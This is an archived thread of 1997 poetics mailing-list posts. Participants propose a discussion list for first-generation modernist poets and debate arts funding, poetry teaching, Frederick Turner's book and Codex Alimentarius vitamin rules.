What I'd like to see is a list that would discuss modern poets: for example, Stevens, Moore, Crane, Frost, Loy, Williams, Hughes, Auden, Moore. In other words, poets in the first generation of modernists who don't have a list of their own (Pound, Eliot) and who wouldn't be discussed on cap-l or poetics.

Brent or anyone else, would you be interested in such a list?

Timothy Materer, 228 Tate, English Department
University of Missouri, Columbia MO 65211
http://www.missouri.edu/~engtim

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35. J. Tate
Re: Other Poetics Lists
Tue 4 Nov 1997

On Tue, 4 Nov 1997, Timothy Materer wrote:

> *What I'd like to see is a list that would discuss modern poets: for example, Stevens, Moore, Crane, Frost, Loy, Williams, Hughes, Auden, Moore. In other words, poets in the first generation of modernists who don't have a list*
> *of their own (Pound, Eliot) and who wouldn't be discussed on cap-l or poetics.*
>
> *Brent or anyone else, would you be interested in such a list?*

YES, Yes, yes.

I'd be VERY interested in a list that discusses Auden, Crane, Stevens, Moore, H.D., Frost and so on.

Joseph Tate
Graduate Student
Department of English
University of Washington

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36. Harold Rhenisch
Re: sleep of poetics
Tue 4 Nov 1997

As a parent, a poet, and an arts volunteer, I haven't found volunteerism a viable answer to loss of arts funding. There's no long term in it, and it tends to go against the grain of the whole school project. Rather, I have begun to ask: Why is poetry being taught in school? I have come to suspect that the way it is taught precludes any sort of success. Here in Canada at least it is taught as a means of expressing emotions, and moreso (almost entirely) as a means of teaching students rhetoric. Until we get to the point where poetry is taught for poetry's sake, where poetry is used as a rigorous and independent means of ordering or disordering the world, we will all continue to lose funding, because the funding will go to rhetoric (for example) and not to poetry (as it already is). There's just no future in that. As for readings in bookstores or wherever, there's a thought: get the students out of the school and into a community. That is not volunteerism, though. Rather, it is an interesting project.

***

William Burmeister wrote:

"the feds are hell-bent on wrecking funding for the arts and arts education, and so the only viable alternative (regarding your angle in this discussion) is volunteerism. Where I work, they regularly ask for volunteers to tutor local kids, but always it is in math or science since this is an engineering design/manufacturing facility in South Florida. I would be a good idea to ask those who oversee this program to expand our role to include the arts and literature. Ironically enough, it was a retired volunteer at my high school who tutored me in electronics in auto repair shop! I suppose involvement in the local poetry readings in bookstores, or wherever, is another way to support youth poetry.

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37. Harold Rhenisch
Re: Soko Loco
Tue 4 Nov 1997

Mark Weiss wrote:

>I think I get it. 1) I write cadenced prose. Thank you!
>2) Any noun can be substituted for any other noun and the sentence will
>still appear to make sense, or at least express an opinion. A true revelation!

Well, not a revelation maybe, but reading your piece I was struck by the notion that you had written a little poetry generating machine, such a balanced piece of syntax that it could hold most any noun and process it. For what, though, I don't know. I shall ponder that.

Language is, I think, having its fun with us.

Someone who knew more about programming than I do could set up such a little machine to chug away through the dictionary, like a prayerwheel in Nepal.

Harold

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38. Harold Rhenisch
Wupperthal awake!
Tue 4 Nov 1997

Mark,

If memory serves me right, Wupperthal is not exactly a coal and steel town pure and simple. The example is good, and there are lots of examples of support for the arts in Germany in general (Bochum is renowned for doing Heiner Mueller's plays, and that's no small or easily accessible feat), but Wupperthal (and

Bochum) are quite gentrified, or, rather, there is enough of a class mix as to put into question whether it is actually the steelworkers who are going to the Danztheater or the Opel assembly workers who are watching Brecht's legacy (Mueller) onstage.

I agree about the problem of messages in classrooms. I like your positive approach. How, though, would the NEA spend its funds teaching people to appreciate the arts? Wouldn't that be through access and relevence? That could be either inside or outside of the classroom. As for recruiting teachers who are inspired and thus inspire, why not hire artists and poets, or train them to be teachers. There's the rub: can the school system bend enough to accomodate them? Note, I didn't say "should" it, of course it should.

Mind you, is that the issue: teaching people to appreciate the arts? Don't they already? Whether it is painting their favourite subway car or listening to sweet zounds of Nashville, there is an aesthetic and a response of sorts. Could the issue be better rephrased as: "teaching people a tradition of art" or "teaching people to use a method of art"? The art, in other words, cannot be separate from the approach, or that darned hidden message, the teacher who taught that museums are old meat lockers, etc., will sneak in there and defeat the whole project.

I read something about the German State Theatre in Berlin getting awfully radical and dragging in some rough street culture into its productions and in that most conservative of institutions (a national theatre, after all) turning things on their head and making it work. Anybody can turn things on their head, of course, but making it work aesthetically and financially is the challenge.

Harold Rhenisch

******

Mark Weiss wrote: Anything that puts food in the mouths of poets and other artists or affords them some recognition is to the good. On the other hand, I think that the NEA's tack has not been the most effective way to help the arts find an audience. I remember the poor benighted teachers who were forced to teach poetry or art or music and had no love for their subject. What they taught was that poetry is a stupid kind of riddle, museums are boring storage houses for the best depictions of reality our ancestors could come by before the centerfold, and music other than rock sucks. In other words, they conveyed what they really felt, whatever the words might be that came out of their mouths. What if the NEA spent its money teaching people to love the arts or recruiting teachers who do? While that might force some belt-tightening for the present, wouldn't it help seed the future?

I am haunted by the idea of the German coal and steel town of Wupperthalthat funds with its taxes the Wupperthaler danzteater, surely one of the most challenging and best performance companies around. I'm told the locals take a pride in it that we tend to reserve for basketball teams. Somehow these workers got the idea that it was alright to like these extremely strange and sometimes painful events.

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39. Gwyn McVay
Re: Other Poetics Lists
Tue 4 Nov 1997

I'm very interested in WHY that generation doesn't get discussed on CAP-L; maybe they've been dead so long--the famous poets, I mean--that they're no longer considered "c." But I like it when dead poets are discussed on lists. I met Joseph Ceravolo here, for example, and have been smitten ever since. ---Gwyn

On Tue, 4 Nov 1997, J. Tate wrote:

> *On Tue, 4 Nov 1997, Timothy Materer wrote:*
>
> *What I'd like to see is a list that would discuss modern poets: for example, Stevens, Moore, Crane, Frost, Loy, Williams, Hughes, Auden, Moore. In other words, poets in the first generation of modernists who don't have a list*
> *of their own (Pound, Eliot) and who wouldn't be discussed on cap-l or poetics.*
>
> *Brent or anyone else, would you be interested in such a list?*
>
> *YES, Yes, yes.*
>
> *I'd be VERY interested in a list that discusses Auden, Crane, Stevens, Moore, H.D., Frost and so on.*
>
> *Joseph Tate*
> *Graduate Student*
> *Department of English*
> *University of Washington*

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40. Aviva Vogel
Re: Other Poetics Lists
Tue 4 Nov 1997

I'm especially interested in Wallace Stevens and William Carlos Williams, but yes, I'd be interested in such a list. I wonder if it would be productive to base the conversation around topics (broad or narrow), or particular authors/poems, at least in the beginning. That way, unlike so many of the postings I've seen on the Pound and Eliot lists, folks would be having truly collaborative discussions, rather than tons of disparate, parallel conversations that are annoying to sample.

Aviva Vogel
MFA in Writing, Vermont College

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41. mark weiss
Re: Wupperthal awake!
Tue 4 Nov 1997

Yup, Wupperthal has a middle class, but it's pretty solidly rust belt. My understanding is that Pina Bausch and her commandos really do get the workers in their audience, and that even those who don't attend are willing to spend their tax dollars and have civic pride about the result.

I don't have a program in mind, but I don't think there'll ever be enough willing artists to stock the elementary schools. There may be enough, however, to teach the teachers, and enough (not necessarily a majority) of those teachers may become enough enthralled to change the culture of the teacher's lounge.

As to what kind of art, what aesthetic experience is opened, I'd be content to define it as whatever they have no access to now, and that means those arts that require a vocabulary, verbal, visual or musical, and some history. And I'm pretty unashamedly elitist about this. I don't think it reactionary to want more people to be capable of experiencing some of the more powerful experiences that human culture has generated.

t 07:16 PM 11/4/97 -0700, you wrote:
>Mark,
>
>If memory serves me right, Wupperthal is not exactly a coal and steel town
>pure and simple. The example is good, and there are lots of examples of
>support for the arts in Germany in general (Bochum is renowned for doing
>Heiner Mueller's plays, and that's no small or easily accessible feat), but
>Wupperthal (and Bochum) are quite gentrified, or, rather, there is enough

>of a class mix as to put into question whether it is actually the
>steelworkers who are going to the Danztheater or the Opel assembly workers
>who are watching Brecht's legacy (Mueller) onstage.
>
>I agree about the problem of messages in classrooms. I like your positive
>approach. How, though, would the NEA spend its funds teaching people to
>appreciate the arts? Wouldn't that be through access and relevence? That
>could be either inside or outside of the classroom. As for recruiting
>teachers who are inspired and thus inspire, why not hire artists and poets,
>or train them to be teachers. There's the rub: can the school system bend
>enough to accomodate them? Note, I didn't say "should" it, of course it
>should.
>
>Mind you, is that the issue: teaching people to appreciate the arts? Don't
>they already? Whether it is painting their favourite subway car or
>listening to sweet zounds of Nashville, there is an aesthetic and a
>response of sorts. Could the issue be better rephrased as: "teaching people
>a tradition of art" or "teaching people to use a method of art"? The art,
>in other words, cannot be separate from the approach, or that darned hidden
>message, the teacher who taught that museums are old meat lockers, etc.,
>will sneak in there and defeat the whole project.
>
>I read something about the German State Theatre in Berlin getting awfully
>radical and dragging in some rough street culture into its productions and
>in that most conservative of institutions (a national theatre, after all)
>turning things on their head and making it work. Anybody can turn things on
>their head, of course, but making it work aesthetically and financially is
>the challenge.
>
>Harold Rhenisch
>
>******
>
>Mark Weiss wrote:
>Anything that puts food in the mouths of poets and other artists or affords
>them some recognition is to the good. On the other hand, I think that the
>NEA's tack has not been the most effective way to help the arts find an
>audience. I remember the poor benighted teachers who were forced to teach
>poetry or art or music and had no love for their subject. What they taught
>was that poetry is a stupid kind of riddle, museums are boring storage
>houses for the best depictions of reality our ancestors could come by
>before the centerfold, and music other than rock sucks. In other words,

>they conveyed what they really felt, whatever the words might be that came
>out of their mouths. What if the NEA spent its money teaching people to
>love the arts or recruiting teachers who do? While that might force some
>belt-tightening for the present, wouldn't it help seed the future?
>
>I am haunted by the idea of the German coal and steel town of
>Wupperthalthat funds with its taxes the Wupperthaler danzteater, surely one
>of the most challenging and best performance companies around. I'm told the
>locals take a pride in it that we tend to reserve for basketball teams.
>Somehow these workers got the idea that it was alright to like these
>extremely strange and sometimes painful events.
>
>

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42. Schuchat Simon
Re: Other Poetics Lists
Wed 5 Nov 1997

On Tue, 4 Nov 1997, Timothy Materer wrote:
snip
> What I'd like to see is a list that would discuss modern poets: for
> example, Stevens, Moore, Crane, Frost, Loy, Williams, Hughes, Auden,
> Moore. In other words, poets in the first generation of modernists who
> don't have a list
> of their own (Pound, Eliot) and who wouldn't be discussed on cap-l or poetics.

don't get me wrong, I like the work of some of these (Stevens, Crane, though which Crane? Hart or Steven, Loy, Williams, Auden, and one of the Moore but not the other) but aren't they well enough discussed? Aren't there already mounds and mounds of discussion of them? I mean, a third rate versifier like Frost is discussed constantly and ubiquitiously from 2nd or 3rd grade until post-doc. Only Mina Loy, of that list, was not included in my junior high school poetry syllabus. (Who is this Hughes person, though? Do you mean Sylvia Plath's ex husband?) It was a public school, too, though things may have changed in the intervening three hundred years, but on the other hand, some of those poets were still alive back then.

anyway: Stevens = cornbread-heavy Ashbery
Moore = obscure precursor of Alice Notley
Crane = obscure precursor of John Wieners
Frost = I prefer Kenneth Koch
Loy = wonderful

Williams = not Oscar, I hope
Hughes = place in literary history for abandoning Sylvia Plath
Auden = absolutely
Moore = Robert Lowell's psychiatrist, supposedly had affair with Lowell's mother, a rather impressive feat.

I will now return to lurking

↑ Index

43. Aviva Vogel
Re: Soko Loco
Wed 5 Nov 1997

Oh, Harold! Oh yes! A computer program that would chug away like a Nepalese prayer wheel through the dictionary, slotting words into various syntactical structures! Of course, we can do that endlessly ourselves, without our laptops and CD-Rom drives, but hey! Like an anagram generator, it could be a useful tool (or toy) to jump-start a poetry-writing session (or week or month or year) that's faltering a bit (or a lot). Clever! Enticing! I'll be the first customer! -Aviva

↑ Index

44. Carl Lynden Peters
Re: Other Poetics Lists
Wed 5 Nov 1997

> *don't get me wrong, I like the work of some of these (Stevens, Crane, though which Crane? Hart or Steven, Loy, Williams, Auden, and one of the Moore but not the other) but aren't they well enough discussed? Aren't there already mounds and mounds of discussion of them?*

i don't understand this point of view at all. are you saying one not discuss these poets because they are too much discussed?

carl

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45. Pam Brown
POet Laureate UK
Wed 5 Nov 1997

Hughes = place in literary history for abandoning Sylvia Plath" -said Simon & lately for writing a dreadful eulogy to Lady Diana Spencer...

I too will return to lurking

Pam

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46. Aviva Vogel
Frederick Turner's The Culture of Hope
Wed 5 Nov 1997

Has anyone on this list read the following book, and if so, do you have any comments? Thanks, Aviva

The Culture of Hope : A New Birth of the Classical Spirit
by Frederick TurnerList: $23.00
Our Price: $16.10
You Save: $6.90 (30%)

Availability: This title usually ships within 24 hours.

Hardcover, 298 pages
Published by Free Pr
Publication date: February 1, 1995
Dimensions (in inches): 9.57 x 6.43 x 1.14
ISBN: 002932792X

(You can always remove it later...)

OR

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Reviews and Commentary for The Culture of Hope : A New Birth of the Classical Spirit

Have you read this book? Write an online review and share your thoughts with other readers.

Synopsis: Conservatives complain that much contemporary art is obscene, while liberals reply that art always subverts the social and political orthodoxy. Both are wrong, says Frederick Turner. In this first book to take the "third side" in the culture war, Frederick Turner offers a radically hopeful new vision, based on a cosmology which views nature as intelligent, creative, and self-ordering.

From Kirkus Reviews, 03/01/95: Turner recycles some material from earlier university press books for this, his grand synthesis that promises to overcome the stalemate in the culture wars. Proponent of a ``third way'' or ``centrist'' position, Turner (Arts and Humanities/Univ. of Texas, Dallas) rehearses the standard complaints about our culture in crisis. Unlike traditional conservatives, though, he ventures a prescription that goes beyond nostalgia for faith and values. A sober critic of the so-called avant-garde, Turner posits a ``radical center''--``a return to classical forms, genres and techniques in the arts'' that is grounded in the latest research in anthropology and science. Turner fancies his ``reconstructive postmodernism'' a new paradigm on the intellectual horizon, and it's hard to imagine anyone familiar with all the disciplines he brings together in this fascinating, if exhausting, book. A cogent critic of anti-foundationalist thought (be it feminist, Marxist, or linguistic), Turner reaffirms the need for hierarchy in the arts, for logic over force, and for beauty over relativism. His multiculturalism is truly pan-cultural, discovering the transcendent in all cultures. Turner's idea of a ``natural classicism'' is remarkably transparent--he locates classical forms in nature itself. Some of his other ideas are a bit obscure, and his tendency toward unrelieved abstraction will turn off sympathetic readers. Turner's immediate cure for cultural malaise is nothing less than a four-page manifesto that is certain to provoke debate, and his discussion of biology is sure to be used against him, despite his distinctly un-``bell curvish'' ideas. Turner's fictional ``fable for the future''--a brave new world that resembles the utopian cyberspace of the Tofflers--flirts with kookiness. A superb critic of trendy feminist and multicultural ideas, Turner deserves a hearing in the ongoing debate: He's Apollo to Camille Paglia's Dionysus. -

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47. Marcella

FW: Waldrop & Roubaud reading

Wed 5 Nov 1997

Oops, still getting ahold of tricky things like correct addresses & stuff like that, anyway:

From: Marcella
Sent: Wednesday, November 05, 1997 7:45 AM
To: '[redacted]'
Subject: Waldrop & Roubaud reading

Just wanted to announce for those in the NY area:

Rosmarie Waldrop & Jacques Roubaud
The Poetry Project

St. Mark's Church
corner of 2nd ave. & 10th St.

It starts at 8 pm; $7, free for members

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48. David Kellogg
Re: Frederick Turner's The Culture of Hope
Wed 5 Nov 1997

On Wed, 5 Nov 1997, Aviva Vogel wrote:
>
> Has anyone on this list read the following book, and if so, do you have any
> comments? Thanks, Aviva
>
> The Culture of Hope : A New Birth of the Classical Spirit
> by Frederick TurnerList: $23.00
> Our Price: $16.10
> You Save: $6.90 (30%)

I haven't read it. However, if this is the same Frederick Turner who wrote a piece called "The Neural Lyre," then I'm hostilely disposed. "The Neural Lyre" was a defense of metered poetry using neurobiology and was, bar none, the single stupidest essay to have speculated about the relations of science and literature of recent years. I've read some other things of his in which he seems to know something about chaos theory, but it's not enough to redeem him in my eyes. Also, he's written some "epic" poems ("Genesis" and "The New World" I think) which I only read enough of to find repulsive.

Cheers,
David
~~~
~~~

49. Jack Foley
Re: Other Poetics Lists -Reply
Wed 5 Nov 1997

Please let me know, if you know it, the address for the Pound list at Maine. -- JR Foley

>>> Timothy Materer <[redacted]> 11/04/97
06:59pm >>>
>
There's a list of lists at gopher://gopher.english.upenn.edu/11/Lists/
Their listings includes beat-l, cap-l (contemporary American poetry), modbrits (might include some poetics, but not much), and tse (T. S. Eliot, which we run here at Missouri). They don't seem to have an entry, oddly, for Poetics--nor for the Pound list at Maine. And I'm sure there is a discussion list for Irish poetry and literature somewhere. I also run a very small
James Merrill list--discussing JM's symbolist poetics of late.

What I'd like to see is a list that would discuss modern poets: for example, Stevens, Moore, Crane, Frost, Loy, Williams, Hughes, Auden, Moore. In other words, poets in the first generation of modernists who don't have a list of their own (Pound, Eliot) and who wouldn't be discussed on cap-l or poetics.

Brent or anyone else, would you be interested in such a list?

Timothy Materer, 228 Tate, English Department
University of Missouri, Columbia MO 65211
http://www.missouri.edu/~engtim

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50. James Finnegan
Re: POet Laureate UK
Wed 5 Nov 1997

In a message dated 97-11-05 02:23:06 EST, you write:

> *Hughes = place in literary history for abandoning Sylvia Plath" -said Simon & lately for writing a dreadful eulogy to Lady Diana Spencer...*
>
> *I too will return to lurking*
>
> *Pam*

Simon & Pam need to dig a little deeper. I believe it was Langston being referred to.

Finnegan

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51. Sylvester Pollet

Re: Other Poetics Lists -Reply

Wed 5 Nov 1997

Foley/Materer: Info for getting on the Pound list can be found on the National Poetry Foundation website Bulletin Board <http://www.ume.maine.edu/~npf/> and I list there some other Pound sites, plus a Loy site, and there's also a Marianne Moore list around somewhere. Maybe gopher isn't doing its homework. I maintain the NPF site, & am willing to list or link other sites (primary focus Modernism). Sylvester Pollet, Assoc. Ed. NPF

> *Please let me know, if you know it, the address for the Pound list at Maine. --*
> *JR Foley*
>
> *Timothy Materer <[redacted]> 11/04/97*
> *06:59pm >>>*
>
> *There's a list of lists at gopher://gopher.english.upenn.edu/11/Lists/*
> *Their listings includes beat-l, cap-l (contemporary American poetry),*
> *modbrits (might include some poetics, but not much), and tse (T. S. Eliot,*
> *which we run here at Missouri). They don't seem to have an entry, oddly,*
> *for Poetics--nor for the Pound list at Maine. And I'm sure there is a*
> *discussion list for Irish poetry and literature somewhere. I also run a*
> *very small*
> *James Merrill list--discussing JM's symbolist poetics of late.*
>
> *What I'd like to see is a list that would discuss modern poets: for*
> *example, Stevens, Moore, Crane, Frost, Loy, Williams, Hughes, Auden,*
> *Moore. In other words, poets in the first generation of modernists who*
> *don't have a list*
> *of their own (Pound, Eliot) and who wouldn't be discussed on cap-l or poetics.*
>
> *Brent or anyone else, would you be interested in such a list?*
>
> *Timothy Materer, 228 Tate, English Department*
> *University of Missouri, Columbia MO 65211*
> *http://www.missouri.edu/~engtim*

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52. **Brent Long**
Re: Other Poetics Lists
Wed 5 Nov 1997

I think a modernist discussion list is a great idea, but how to go about it?

Brent

At 05:59 PM 11/4/97 -0600, you wrote:
>>>Anyone aware of any other poetics lists that may be out there?
>>>Thanks, >Brent Long
>>
>There's a list of lists at gopher://gopher.english.upenn.edu/11/Lists/
>Their listings includes beat-l, cap-l (contemporary American poetry),
>modbrits (might include some poetics, but not much), and tse (T. S. Eliot,
>which we run here at Missouri). They don't seem to have an entry, oddly,
>for Poetics--nor for the Pound list at Maine. And I'm sure there is a
>discussion list for Irish poetry and literature somewhere. I also run a
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>James Merrill list--discussing JM's symbolist poetics of late.
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>of their own (Pound, Eliot) and who wouldn't be discussed on cap-l or
poetics.
>
>Brent or anyone else, would you be interested in such a list?
>
>
>
>Timothy Materer, 228 Tate, English Department
>University of Missouri, Columbia MO 65211
>http://www.missouri.edu/~engtim
>
>

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53. **Brent Long**
Re: Other Poetics Lists
Wed 5 Nov 1997

Aviva,

I agree completely about basing the conversation around broader topics at first. Good call....does anyone know how such a list might be started?

Brent

At 11:14 PM 11/4/97 -0500, you wrote:
>I'm especially interested in Wallace Stevens and William Carlos Williams, but
>yes, I'd be interested in such a list. I wonder if it would be productive to
>base the conversation around topics (broad or narrow), or particular
>authors/poems, at least in the beginning. That way, unlike so many of the
>postings I've seen on the Pound and Eliot lists, folks would be having truly
>collaborative discussions, rather than tons of disparate, parallel
>conversations that are annoying to sample.
>
>Aviva Vogel
>MFA in Writing, Vermont College
>
>

↑ Index

54. Brent Long
Re: Other Poetics Lists
Wed 5 Nov 1997

Try Langston Hughes. Ever heard of him? Kind of an important figure in American poetry.
You might enjoy it...if you aren't too busy lurking.

At 01:05 PM 11/5/97 +0800, you wrote:
>On Tue, 4 Nov 1997, Timothy Materer wrote:
>snip
>> What I'd like to see is a list that would discuss modern poets: for
>> example, Stevens, Moore, Crane, Frost, Loy, Williams, Hughes, Auden,
>> Moore. In other words, poets in the first generation of modernists who
>> don't have a list
>> of their own (Pound, Eliot) and who wouldn't be discussed on cap-l or
poetics.
>
>don't get me wrong, I like the work of some of these (Stevens, Crane,
>though which Crane? Hart or Steven, Loy, Williams, Auden, and one of the
>Moore but not the other) but aren't they well enough discussed? Aren't
>there already mounds and mounds of discussion of them? I mean, a third
>rate versifier like Frost is discussed constantly and ubiquitiously from
>2nd or 3rd grade until post-doc. Only Mina Loy, of that list, was not

>included in my junior high school poetry syllabus. (Who is this Hughes
>person, though? Do you mean Sylvia Plath's ex husband?) It was a public
>school, too, though things may have changed in the intervening three
>hundred years, but on the other hand, some of those poets were still
>alive back then.
>
>anyway: Stevens = cornbread-heavy Ashbery
>Moore = obscure precursor of Alice Notley
>Crane = obscure precursor of John Wieners
>Frost = I prefer Kenneth Koch
>Loy = wonderful
>Williams = not Oscar, I hope
>Hughes = place in literary history for abandoning Sylvia Plath
>Auden = absolutely
>Moore = Robert Lowell's psychiatrist, supposedly had affair with Lowell's
>mother, a rather impressive feat.
>
>I will now return to lurking
>
>

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55. **nuyopoman**
POE's Grammy
Wed 5 Nov 1997

In a message dated 97-11-04 11:21:02 EST, you write:

<< ---------- Forwarded message ----------
Date: Fri, 31 Oct 1997 13:17:49 -0800
From: Troy Farnham <[redacted]>
Reply-To: [redacted]
To: [redacted]
Subject: Who is this POE guy anyway?

This can be considered a weird and scary reference question.

Yesterday I had a student ask me if I could help her find information on Edgar Allen Poe.

She told me that "I don't know much about him except that he won a Grammy or something."

I'm happy to say that she was better informed when she left our library.

Troy Farnham
Library Technician II
Alan Thompson Library
Lower Columbia College
1600 Maple
PO BOX 3010
Longview, WA 98362 >>

Not so fast there, Young Feller!

Mouth Almighty will indeed be releasing "Closed on Account of Rabies: Poems and Tales of Edgar Allan Poe" on December 9, just in time to answer your Holiday giftgiving ache. Produced by the mighty Hal Willner, audacious cover art by Ralph Steadman, and liner notes by Charles Baudelaire ("Each morning I pray to God and Poe"), some of the highlights include: Dr. John rumbling through French/Latin/Creole-limned English to bring to life the unstable narrtaor of the little-known Bereneice; Diamanda Gallas cackling through "The Black Cat"; Ed Sanders singing two poems with full band; Christopher Walken spookifying "The Raven" only to be sent up by a crazed Abel Ferrar trying to do the same thing; Gabriel Byrne between the thunderclaps of "Masque of Red Death"; Jeff Buckley, Marianne Faithfull, and others.

This will be MA's first entry into the audio book zone. Also available as a double CD. Orders via website (Poe page will go up end of Nov) http://www.mouthalmighty.com or via the guerrilla distribution system Gary Glazner has set up, Words on Wheels, [redacted].

If you'd like to be on mail list, nail impale snail to:
[redacted]

Bob Holman

↑ Index

56. Mark Prejsnar
Re: Sleep of poetics
Wed 5 Nov 1997

On Tue, 4 Nov 1997, mark weiss wrote:

> *I am haunted by the idea of the German coal and steel town of Wupperthalthat funds with its taxes the Wupperthaler danzteater, surely one of the most challenging and best performance companies around. I'm told the locals take a pride in it that we tend to reserve for basketball teams. Somehow these workers got the idea that it was alright to like these extremely strange and sometimes painful events.*

Yes...I was thinking of some of the same examples as Mark W....I often do when public funding for the arts comes up. I'm really not well-informed on this subject, but from what I remember I have read about a *number* of striking instances like the one Mark describes...All from Germany (which is to say West Germany)..There is a national cultural element going on there, but as house commie I'm gong to suggest that there's something more specifically political: much of western Europe never engaged in as ruthless a demolition of public space as did the U.S. throughout the mid-twentieth century. This often had a lot to do with a more militant labor movement (not so unusual if the comparison is with this country, where the entire trade union structure sold out to management and became its servents and lackeys, as they still are) and its expression in a Social Democratic party, which puts greater pressure on societal decision-making, bending it in the direction of greater, more open public social culture. The republicrat state machine in the U.S. has never been about opening up public space. That's a task only the majority of people, organizing around a left program, can do. There's lots of other things we poet types can do to help open up more social cultural space; certainly speaking out and organizing around NEA and similar structures is one (tho' to my mind somewhat limited, because of the constricted and unevenly-distributed nature of NEA pie); Henry is very right to suggest that involvement in education is another--that's not my area by temperment nor by choice, so I haven't much substantive to add there. But a total (dare I say it, radical) change in the very shape of our national culture is what we need, and what examples like the the one Mark cites point toward. And that (like they say in book titles) is "why I'm a socialist." The idea of socialism is less about governmental power or even the economic system, than it is about the flowering of culture.

Mark P.

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57. **Jack Foley**

Re: Other Poetics Lists -Reply

Wed 5 Nov 1997

Try the National Poetry Foundation at http://www.ume.maine.edu/~npf/

>>> Brent Long <[redacted]> 11/05/97 10:06am >>>
I think a modernist discussion list is a great idea, but how to go about it?

Brent

At 05:59 PM 11/4/97 -0600, you wrote:
>>>Anyone aware of any other poetics lists that may be out there?
>>>Thanks, >Brent Long
>>

>There's a list of lists at gopher://gopher.english.upenn.edu/11/Lists/
>Their listings includes beat-l, cap-l (contemporary American poetry),
>modbrits (might include some poetics, but not much), and tse (T. S. Eliot,
>which we run here at Missouri). They don't seem to have an entry, oddly,
>for Poetics--nor for the Pound list at Maine. And I'm sure there is a
>discussion list for Irish poetry and literature somewhere. I also run a
>very small
>James Merrill list--discussing JM's symbolist poetics of late.
>
>What I'd like to see is a list that would discuss modern poets: for
>example, Stevens, Moore, Crane, Frost, Loy, Williams, Hughes, Auden,
>Moore. In other words, poets in the first generation of modernists who
>don't have a list
>of their own (Pound, Eliot) and who wouldn't be discussed on cap-l or
poetics.
>
>Brent or anyone else, would you be interested in such a list?
>
>
>
>Timothy Materer, 228 Tate, English Department
>University of Missouri, Columbia MO 65211
>http://www.missouri.edu/~engtim
>
>

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58. **J. Tate**

Re: Frederick Turner's The Culture of Hope

Wed 5 Nov 1997

On Wed, 5 Nov 1997, David Kellogg wrote:

> *"The
> Neural Lyre" was a defense of metered poetry using neurobiology and was,
> bar none, the single stupidest essay to have speculated about the
> relations of science and literature of recent years.*

I'm not sure I would call "The Neural Lyre" stupid. It was not terribly well supported with solid evidence, say for the three minute line buffer in our brains, but it was at least an attempt to address what too few people do: why we like rhythm. Neurobiology is not altogether the wrong place to start as rhythm is a biological phenomenon as well as a cognitive one, and why not allow neurobiology a say so in the matter?

Best,

Joseph Tate
Graduate Student
U. of Washington, Seattle

↑ Index

59. Christopher Alexander

Re: FW: Codex Alimentarius

Wed 5 Nov 1997

---

thanks Patrick for that message on the CODEX.
I've heard enough about this often enough to be
concerned, so I just did a bit of checking up on
the www, & I might as well share it with the list.
then I'll be quiet & we can talk about poetics again.
the short form is:

1) the CODEX is an internat'l body seeking to establish
standards re food quality & handling, which, according to
them, includes vitamins & homeopathic medicines;
2) the CODEX operates under the joint auspices of the
United Nations World Health Organization (WHO) &
Food and Agriculture Organization (FAO);
3) it has been repeatedly alleged by local & int'l consumer
& health advocacy groups that "vested interests of Northern
industrialized countries, & representatives of transnational
food industries have come to dominate the Codex process of
setting nutrition and safety standards";
4) the CODEX has not yet adapted the German standards,
& there is some opposition to them, but no guarantees;
5) the FDA is considering the amendment of its regulations
"to promote international harmonization", i.e., adopting the
standards set forth in the CODEX;
6) there seem to be strong penalties for nations who don't
comply, e.g., heavily sanctions (fines) by the World Trade
Organization (WTO).

it looks like it might be time to make some phone calls,
write letters, & whatnot, for those of us interested in
homeopathic medicine & vitamins. in addition to Patrick's
suggestions, I noted that the FDA seems to be seeking
input on this consideration:

Dockets Management Branch (HFA-305)
Food and Drug Administration
12420 Parklawn Dr., rm. 1-23, Rockville, MD 20857

FOR FURTHER INFORMATION CONTACT:
John W. Jones, Office of Constituent Operations (HFS-550)
Food and Drug Administration
200 C St. SW., Washington, DC 20204
[redacted].

best, Chris

--

suggested sites:

general info from John Hammell,
Canadian "health freedom" advocate
<http://www.pnc.com.au/~cafmr/hammell/index.html#codex>

info specific to the FDA issue
<http://www.pnc.com.au/~cafmr/hammell/codx-fda.txt>

report from The Infant Feeding Action Coalition Canada (INFACT Canada), "a non-profit, non-governmental voluntary organization that promotes better infant and maternal health by protecting breastfeeding and fostering appropriate infant feeding practices in Canada and internationally.
<http://www.infactcanada.ca/newsletters/fall96/codex.htm>

general info from Foodnet: "a business tool for the
food industry provided by the Food Institute of Canada"
<http://foodnet.fic.ca/regulat/codex.html>

excerpt re vitamins from the most recent CODEX report,
as given by the FAO (<http://www.fao.org/>)
<http://www.fao.org/waicent/faoinfo/economic/esn/codex/vitamin.htm>

full text of the most recent report (23-28 June 1997); unfortunately, the list of participants is being withheld until the final draft.
<http://www.fao.org/waicent/faoinfo/economic/esn/codex/cac22e/ httoc.htm>
(see under "Nutrition and Foods for Special Dietary Uses")

the U.S. "contact" for info on the CODEX is

Executive Officer for Codex
U.S. Codex Contact Point
Food Safety and Inspection Service
US Department of Agriculture

Room 311, West End Court
Washington D.C. 20250-3700

Tel: [redacted]
Fax: [redacted]
Email: [redacted]

--

..
Christopher W. Alexander etc. / nominative press collective

email: [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press site: http://choengmon.lib.utah.edu/~calexand/nonce/

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60. Timothy Materer

1. not _that_ Hughes 2. Still other lists 3. EPOUND-L

Wed 5 Nov 1997

---

1. Schuchat Simon's post very amusing (I guess...) As to: "Hughes = place in literary history for abandoning Sylvia Plath; Moore = Robert Lowell's psychiatrist, supposedly had affair with Lowell's mother, a rather impressive feat"

--I meant Langston, author of Montage of a Dream Deferred not the ode to Princess Di (which suffers by comparison with" Pavement to a Dead Princess") and definitely Marianne not Merrill Moore!

2. Someone kindly informed me of: "a very quiet Yeats List (subscribe yeats <first name, last name> to [redacted].) and a very small Stevens List (subscribe Wallace_Stevens to [redacted])."

3. "Please let me knowthe address for the Pound list at Maine. --JR Foley"

[redacted] The list is called EPOUND-L

Timothy Materer, 228 Tate, English Department
University of Missouri, Columbia MO 65211
http://www.missouri.edu/~engtim

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61. Herb Levy

Re: Other Poetics Lists

Wed 5 Nov 1997

Timothy Materer wrote:

> *There's a list of lists at gopher://gopher.english.upenn.edu/11/Lists/ Their listings includes beat-l, cap-l (contemporary American poetry), modbrits (might include some poetics, but not much), and tse (T. S. Eliot, which we run here at Missouri). They don't seem to have an entry, oddly, for Poetics--nor for the Pound list at Maine.*

Not so oddly, given this statement from the welcome message to Poetics:

> *Please note that this is a private list and information about the list should not be posted to other lists or >directories of lists. The idea is to keep the list to those with specific rather than general interests, and also to >keep the scale of the list relatively small and the volume manageable.*

